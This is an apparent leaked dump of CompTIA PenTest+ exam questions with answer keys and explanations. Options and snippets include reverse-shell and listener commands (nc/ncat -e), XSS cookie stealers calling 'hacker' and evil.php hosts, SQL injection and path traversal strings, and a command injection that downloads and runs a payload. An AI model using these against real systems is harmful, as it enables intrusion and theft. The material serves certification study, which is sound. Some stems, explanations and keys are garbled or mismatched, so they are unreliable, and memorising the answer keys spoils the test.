Number: PT0-002
Passing Score: 800
Time Limit: 120
File Version: 12.0

Exam Code: PT0-002
Exam Name: CompTIA PenTest+ Certification Exam

Vdumps

Exam A

QUESTION 1
Which of the following expressions in Python increase a variable val by one (Choose two.)

A. val++
B. +val
C. val=(val+1)
D. ++val
E. val=val++
F. val+=1

Correct Answer: C, F
Section:
Explanation:
In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.
https://pythonguides.com/increment-and-decrement-operators-in-python/

QUESTION 2
Given the following output:
User-agent:*
Disallow: /author/
Disallow: /xmlrpc.php
Disallow: /wp-admin
Disallow: /page/
During which of the following activities was this output MOST likely obtained?

A. Website scraping
B. Website cloning
C. Domain enumeration
D. URL enumeration

Correct Answer: D
Section:
Explanation:
URL enumeration is the activity of discovering and mapping the URLs of a website, such as directories, files, parameters, or subdomains. URL enumeration can help to identify the structure, content, and functionality of a website, as well as potential vulnerabilities or misconfigurations. One of the methods of URL enumeration is to analyze the robots.txt file of a website, which is a text file that tells search engine crawlers which URLs the crawler can or can't request from the site1. The output shown in the question is an example of a robots.txt file that disallows crawling of certain URLs, such as /author/, /xmlrpc.php, /wp-admin, or /page/.

QUESTION 3
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

A. OpenVAS

B. Nikto
C. SQLmap
D. Nessus

Correct Answer: C
Section:
Explanation:
Reference: https://phoenixnap.com/blog/best-penetration-testing-tools

QUESTION 4
An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port    State  Service
22/tcp  open   ssh
23/tcp  open   telnet
60/tcp  open   http
443/tcp open   https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

A. Encrypted passwords
B. System-hardening techniques
C. Multifactor authentication
D. Network segmentation

Vdumps

Correct Answer: B
Section:

QUESTION 5
A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

A. Check the scoping document to determine if exfiltration is within scope.
B. Stop the penetration test.
C. Escalate the issue.
D. Include the discovery and interaction in the daily report.

Correct Answer: B
Section:
Explanation:
"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

QUESTION 6
A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

A. Send an SMS with a spoofed service number including a link to download a malicious application.
B. Exploit a vulnerability in the MDM and create a new account and device profile.
C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Correct Answer: A
Section:
Explanation:
Since it doesn't indicate company owned devices, sending a text to download an application is best.
And it says social-engineering so a spoofed text falls under that area.

QUESTION 7
A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

A. Shoulder surfing
B. Call spoofing
C. Badge stealing
D. Tailgating
E. Dumpster diving
F. Email phishing

Correct Answer: C, D
Section:

Vdumps

QUESTION 8
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

A. TCP port 443 is not open on the firewall
B. The API server is using SSL instead of TLS
C. The tester is using an outdated version of the application
D. The application has the API certificate pinned.

Correct Answer: D
Section:

QUESTION 9
Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

A. Scope details
B. Findings
C. Methodology
D. Statement of work

Correct Answer: C

Section:

QUESTION 10
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B. wmic startup get caption,command
C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
D. sudo useradd -ou 0 -g 0 user

Correct Answer: A
Section:

QUESTION 11
A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

A. "cisco-ios" "admin+1234"
B. "cisco-ios" "no-password"
C. "cisco-ios" "default-passwords"
D. "cisco-ios" "last-modified"

Correct Answer: B
Section:

Vdumps

QUESTION 12
A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

A. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
B. ../../../../../../../../../../etc/passwd
C. /var/www/html/index.php;whoami
D. 1 UNION SELECT 1, DATABASE(),3--

Correct Answer: D
Section:

QUESTION 13
A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

A. Deploy a user training program
B. Implement a patch management plan
C. Utilize the secure software development life cycle
D. Configure access controls on each of the servers

Correct Answer: B
Section:

QUESTION 14
A company that developers embedded software for the automobile industry has hired a penetrationtesting team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

A. The reverse-engineering team may have a history of selling exploits to third parties.
B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
D. The reverse-engineering team will be given access to source code for analysis.

Correct Answer: A
Section:

QUESTION 15
A penetration tester has been given eight business hours to gain access to a client's financial system.
Which of the following techniques will have the highest likelihood of success?

Vdumps

A. Attempting to tailgate an employee going into the client's workplace
B. Dropping a malicious USB key with the company's logo in the parking lot
C. Using a brute-force attack against the external perimeter to gain a foothold
D. Performing spear phishing against employees by posing as senior management

Correct Answer: D
Section:

QUESTION 16
The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port     State    Service    Version
22/tcp   open     ssh        OpenSSH 6.6.1p1
53/tcp   open     domain     dnsmasq 2.72
80/tcp   open     http       lighttpd
443/tcp  open     ssl/http   httpd

Service Info: OS: Linux: Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
B. This device is most likely a gateway with in-band management services.
C. This device is most likely a proxy server forwarding requests over TCP/443.
D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Correct Answer: B
Section:
Explanation:
The heart bleed bug is an open ssl bug which does not affect SSH Ref: https://www.sosberlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh

Vdumps

QUESTION 17
Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

A. To provide feedback on the report structure and recommend improvements
B. To discuss the findings and dispute any false positives
C. To determine any processes that failed to meet expectations during the assessment
D. To ensure the penetration-testing team destroys all company data that was gathered during the test

Correct Answer: C
Section:

QUESTION 18
A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

A. Badge cloning
B. Dumpster diving
C. Tailgating
D. Shoulder surfing

Correct Answer: B
Section:

QUESTION 19
The results of an Nmap scan are as follows:
Starting Nmap 7.80 (https://nmap.org) at 2021-01-24 01:10 EST
Nmap scan report for (10.2.1.22)
Host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device
B. Public-facing web server
C. Active Directory domain controller
D. IoT/embedded device
E. Exposed RDP
F. Print queue

Correct Answer: B, D
Section:
Explanation:
https://www.netscout.com/what-is-ddos/slowloris-attacks
From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

QUESTION 20
Appending string values onto another string is called:

A. compilation
B. connection
C. concatenation
D. conjunction

Correct Answer: C
Section:
Explanation:
Concatenation is the term used to describe the process of appending string values onto another string. In Python, concatenation can be done using the + operator, such as "Hello" + "World" = "HelloWorld"4.
Reference: https://docs.microsoft.com/en-us/dotnet/csharp/how-to/concatenate-multiple-strings

QUESTION 21
A penetration tester is testing input validation on a search form that was discovered on a website.

Which of the following characters is the BEST option to test the website for vulnerabilities?

A. Comma
B. Double dash
C. Single quote
D. Semicolon

Correct Answer: C
Section:
Explanation:
A single quote (') is a common character used to test for SQL injection vulnerabilities, which occur when user input is directly passed to a database query. A single quote can terminate a string literal and allow an attacker to inject malicious SQL commands. For example, if the search form uses the query SELECT * FROM products WHERE name LIKE '%user_input%', then entering a single quote as user input would result in an error or unexpected behavior

QUESTION 22
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

A. The penetration tester was testing the wrong assets
B. The planning process failed to ensure all teams were notified
C. The client was not ready for the assessment to start
D. The penetration tester had incorrect contact information

Vdumps

Correct Answer: B
Section:
Explanation:
Sinkholing is a technique used by security teams to redirect malicious or unwanted network traffic to a controlled destination, such as a black hole or a honeypot. This can help prevent or mitigate attacks, analyze malware behavior, or isolate infected hosts. If the SOC used sinkholing on the penetration tester's IP address, it means that they detected the tester's activity and blocked it from reaching the client's network. This indicates that the planning process failed to ensure all teams were notified about the penetration testing engagement, which could have avoided this situation.

QUESTION 23
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

A. Open-source research
B. A ping sweep
C. Traffic sniffing
D. Port knocking
E. A vulnerability scan
F. An Nmap scan

Correct Answer: A, C
Section:
Explanation:
Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.
Reference: https://www.sciencedirect.com/topics/computer-science/passive-reconnaissance

QUESTION 24
A penetration tester obtained the following results after scanning a web server using the dirb utility:
...
GENERATED WORDS: 4612
---- Scanning URL: http://10.2.10.13/ ----
+ http://10.2.10.13/about (CODE:200|SIZE:1520)
+ http://10.2.10.13/home.html (CODE:200|SIZE:214)
+ http://10.2.10.13/index.html (CODE:200|SIZE:214)
+ http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 - FOUND: 4 Which of the following elements is MOST likely to contain useful information for the penetration tester?

A. index.html
B. about
C. info
D. home.html

Correct Answer: B
Section:
Explanation:
The element /about is most likely to contain useful information for the penetration tester, as it may reveal details about the website's owner, purpose, history, contact information, etc. This information can be used for further reconnaissance, social engineering, or identifying potential vulnerabilities.

QUESTION 25
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

A. Create a one-shot system service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh <...> command.
D. Move laterally to create a user account on LDAP

Correct Answer: A
Section:
Explanation:
https://hosakacorp.net/p/systemd-user.html
Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

QUESTION 26
Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

A. Buffer overflows
B. Cross-site scripting
C. Race-condition attacks
D. Zero-day attacks
E. Injection flaws
F. Ransomware attacks

Correct Answer: B, E
Section:
Explanation:
A01-Injection
A02-Broken Authentication
A03-Sensitive Data Exposure
A04-XXE
A05-Broken Access Control
A06-Security Misconfiguration
A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities
A10-Insufficient Logging & Monitoring
Reference: https://owasp.org/www-pdf-archive/OWASP_Top_10_2017_RC2_Final.pdf
Cross-site scripting (XSS) and injection flaws are two of the web-application security risks that are part of the OWASP Top 10 v2017 list. XSS is a type of attack that injects malicious scripts into web pages or applications that are viewed by other users, resulting in compromised sessions, stolen cookies, or redirected browsers. Injection flaws are a type of attack that exploits a vulnerability in an application's data input or output, such as SQL injection, command injection, or LDAP injection, resulting in unauthorized access, data loss, or remote code execution. The other options are not part of the OWASP Top 10 v2017 list.

QUESTION 27
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding
D. Session tokens
E. Input validation
F. Base64 encoding

Correct Answer: C, E
Section:
Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

QUESTION 28
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

A. Reach out to the primary point of contact
B. Try to take down the attackers
C. Call law enforcement officials immediately
D. Collect the proper evidence and add to the final report

Correct Answer: A
Section:
Explanation:
The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation.
Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.

QUESTION 29
A penetration-testing team is conducting a physical penetration test to gain entry to a building.
Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

A. As backup in case the original documents are lost
B. To guide them through the building entrances
C. To validate the billing information with the client
D. As proof in case they are discovered

Correct Answer: D
Section:
Explanation:
The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.
Reference: https://hub.packtpub.com/penetration-testing-rules-of-engagement/

Vdumps

QUESTION 30
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
```
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${I
FS}./apache'%0A%27&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
```
Which of the following commands should the penetration tester run post-engagement?

A. grep -v apache ~/.bash_history > ~/.bash_history
B. rm -rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM "apache" /F

Correct Answer: B
Section:
Explanation:
The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:
cd /tmp: change the current directory to /tmp
wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1
chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone
./apache: run the file as an executable
The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to

remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

QUESTION 31
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

A. The libraries may be vulnerable
B. The licensing of software is ambiguous
C. The libraries' code bases could be read by anyone
D. The provenance of code is unknown
E. The libraries may be unsupported
F. The libraries may break the application

Correct Answer: A, D
Section:
Explanation:
A) The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party opensource libraries in application code poses a significant security risk.
D) The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.

QUESTION 32
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

Vdumps

A. Wireshark
B. Nessus
C. Retina
D. Burp Suite
E. Shodan
F. Nikto

Correct Answer: A, E
Section:
Explanation:
Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it.
Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.
Reference: https://resources.infosecinstitute.com/topic/top-10-network-recon-tools/

QUESTION 33
A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]

? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

A. A device on the network has an IP address in the wrong subnet.
B. A multicast session was initiated using the wrong multicast group.
C. An ARP flooding attack is using the broadcast address to perform DDoS.
D. A device on the network has poisoned the ARP cache.

Correct Answer: D
Section:
Explanation:
The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as along as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.
The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network. However, one entry in the table is suspicious:
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
This entry has the same MAC address as another entry:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.

QUESTION 34
Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications
B. A list of all the risks of web applications
C. The risks defined in order of importance
D. A web-application security standard
E. A risk-governance and compliance framework
F. A checklist of Apache vulnerabilities

Correct Answer: A, C
Section:
Explanation:
These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation.
The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a riskgovernance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.
Reference: https://www.synopsys.com/glossary/what-is-owasp-top-10.html

QUESTION 35
A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

A. nmap -oG list.txt 192.168.0.1-254 , sort
B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
C. nmap --open 192.168.0.1-254, uniq
D. nmap -o 192.168.0.1-254, cut -f 2

Correct Answer: B
Section:
Explanation:
the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print $5}) which obviously carries the returned IP of the host in the NMAP output.
This command will generate the results shown in the image and transform them into a list of active hosts for further analysis. The command consists of three parts:
nmap -sn 192.168.0.1-254: This part uses nmap, a network scanning tool, to perform a ping scan (-sn) on the IP range 192.168.0.1-254, which means sending ICMP echo requests to each IP address and checking if they respond.
grep "Nmap scan": This part uses grep, a text filtering tool, to search for the string "Nmap scan" in the output of the previous part and display only the matching lines. This will filter out the lines that show the start and end time of the scan and only show the lines that indicate the status of each host.
awk '{print $5}': This part uses awk, a text processing tool, to print the fifth field ($5) of each line in the output of the previous part. This will extract only the IP addresses of each host and display them as a list.
The final output will look something like this:
192.168.0.1 192.168.0.12 192.168.0.17 192.168.0.34

QUESTION 36
A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

A. Send deauthentication frames to the stations.
B. Perform jamming on all 2.4GHz and 5GHz channels.
C. Set the malicious AP to broadcast within dynamic frequency selection channels.
D. Modify the malicious AP configuration to not use a pre-shared key.

Correct Answer: A
Section:
Explanation:
https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-withwifislax
The penetration tester should send deauthentication frames to the stations to force them to disconnect from their current access point and reconnect to another one, which may be the malicious AP deployed by the tester. Deauthentication frames are part of the 802.11 protocol and are used to terminate an existing wireless association between a station and an access point. However, they can also be spoofed by an attacker to disrupt or hijack wireless connections. The other options are not effective or relevant for this purpose. Performing jamming on all 2.4GHz and 5GHz channels would interfere with all wireless signals in the area, which may cause unwanted attention or legal issues. Setting the malicious AP to broadcast within dynamic frequency selection channels would not help, as these channels are used to avoid interference with radar systems and are not commonly used by wireless stations or access points. Modifying the malicious AP configuration to not use a preshared key would not help, as it would make it less likely for wireless stations to connect to it if they are configured to use encryption.

QUESTION 37
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

A. nmap -f -sV -p80 192.168.1.20
B. nmap -sS -sL -p80 192.168.1.20
C. nmap -A -T4 -p80 192.168.1.20
D. nmap -O -v -p80 192.168.1.20

Correct Answer: C
Section:
Explanation:
This command will scan the host 192.168.1.20 on port 80 using the following options:
-A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.
-T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.
-p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.
Reference: https://nmap.org/book/man-version-detection.html

QUESTION 38
A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

A. Manually check the version number of the VoIP service against the CVE release
B. Test with proof-of-concept code from an exploit database
C. Review SIP traffic from an on-path position to look for indicators of compromise
D. Utilize an nmap -sV scan against the service

Correct Answer: B
Section:
Explanation:
Testing with proof-of-concept code from an exploit database is the best method to support validation of the possible findings, as it will demonstrate whether the CVEs are actually exploitable on the target VoIP call manager. Proof-of-concept code is a piece of software or script that shows how an attacker can exploit a vulnerability in a system or application. An exploit database is a repository of publicly available exploits, such as Exploit Database or Metasploit.
Reference: https://dokumen.pub/hacking-exposed-unified-communications-amp-voip-securitysecrets-amp- solutions-2nd-edition-9780071798778-0071798773-9780071798761-0071798765.html

QUESTION 39
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

A. nmap 192.168.1.1-5 -PU22-25,80
B. nmap 192.168.1.1-5 -PA22-25,80
C. nmap 192.168.1.1-5 -PS22-25,80
D. nmap 192.168.1.1-5 -Ss22-25,80

Correct Answer: C
Section:
Explanation:
PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively.

And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag.
But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.
The nmap -PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS1.

QUESTION 40
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

A. Immunity Debugger
B. OllyDbg
C. GDB
D. Drozer

Correct Answer: A
Section:
Explanation:
Immunity Debugger is a tool that can be used to deconstruct 64-bit Windows binaries and see the underlying code. Immunity Debugger is a powerful debugger that integrates with Python and allows users to write their own scripts and plugins. It can be used for reverse engineering, malware analysis, vulnerability research, and exploit development

QUESTION 41
A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active.
Which of the following commands should be used to accomplish the goal?

A. VRFY and EXPN
B. VRFY and TURN
C. EXPN and TURN
D. RCPT TO and VRFY

Correct Answer: A
Section:
Explanation:
The VRFY and EXPN commands can be used to enumerate user accounts on an SMTP server, as they are used to verify the existence of users or mailing lists. VRFY (verify) asks the server to confirm that a given user name or address is valid. EXPN (expand) asks the server to expand a mailing list into its individual members. These commands can be used by a penetration tester to identify valid user names or e-mail addresses on the target SMTP server.
Reference: https://hackerone.com/reports/193314

QUESTION 42
Which of the following tools provides Python classes for interacting with network protocols?

A. Responder
B. Impacket
C. Empire
D. PowerSploit

Correct Answer: B
Section:

Explanation:
Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.
Reference: https://github.com/SecureAuthCorp/impacket

QUESTION 43
